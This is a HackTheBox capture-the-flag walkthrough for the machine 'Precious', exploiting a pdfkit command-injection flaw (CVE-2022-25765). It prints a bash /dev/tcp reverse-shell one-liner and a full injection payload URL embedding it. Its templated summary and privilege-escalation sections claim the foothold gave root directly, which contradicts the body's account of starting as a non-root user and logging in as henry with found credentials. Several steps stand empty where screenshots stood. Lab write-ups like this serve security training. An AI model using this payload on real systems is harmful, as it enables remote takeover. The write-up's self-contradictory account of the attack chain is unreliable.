Precious

Platform: HackTheBox | Difficulty: Easy | OS: N/A Author: D3v0o0Nu11 | Date: 2026-02-10 | Status: Solved

Summary

Walkthrough of the HackTheBox machine Precious. Foothold via CVE-2022-25765; direct root access from the foothold. Both flags captured and redacted.

Recon

Port scan

 bash read-only • copy allowed Copy
nmap -sVC -p- <IP> -oA nmap/Precious

Enumeration highlights

Foothold

Vulnerability / Misconfiguration

1. First, let's run nmap to check if there are any ports open.

2. Notice the machines seems running a web application, let's open the host on the web browser.

3. Let's enter http://google.com.

4. Already tried to enter my own ip but didn't get any pdf.

5. Let's serve http on port 8000 first.

6. Great! We got it.

7. Check the meta data, to see if we can grab any clue.

8. Notice the version of pdfkit is outdated and it's vulnerable.

WRITTEN IN CVE MITRE

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-25765

1. Hence i did a small outsource about the approach they used for this vuln, found this link.

https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795

1. Let's use this payload.

2. But change the "sleep" to this:

REVERSE SHELL FOR BASH

bash -c 'exec bash -i &>/dev/tcp/10.10.14.12/443 <&1'

FULL PAYLOAD

http://10.10.14.12:8000/?name=#{'%20`bash -c 'exec bash -i &>/dev/tcp/10.10.14.12/443 <&1'`'}

1. Set a listener using pwncat for port 443 because we use it on the payload, then submit the payload.

2. Nice, got the shell!

3. Since we're not root, let's find the user flag.

4. Actually it took a while for me, i didn't find the user flag, but when i found a cred.

CRED

1. Let's try login to henry with ssh.

LOGGED IN

1. Got the user flag.

Proof

User flag: REDACTED

Privilege Escalation

User -> Root/Admin

The exploit provided a shell running with elevated privileges directly, so no separate privilege escalation was required.

Root flag: REDACTED

Flags

Lessons Learned

1. Enumerate everything; version strings map to CVEs.
2. Confirm each hypothesis with a test before building the exploit.
3. Chain foothold -> privilege escalation mechanically.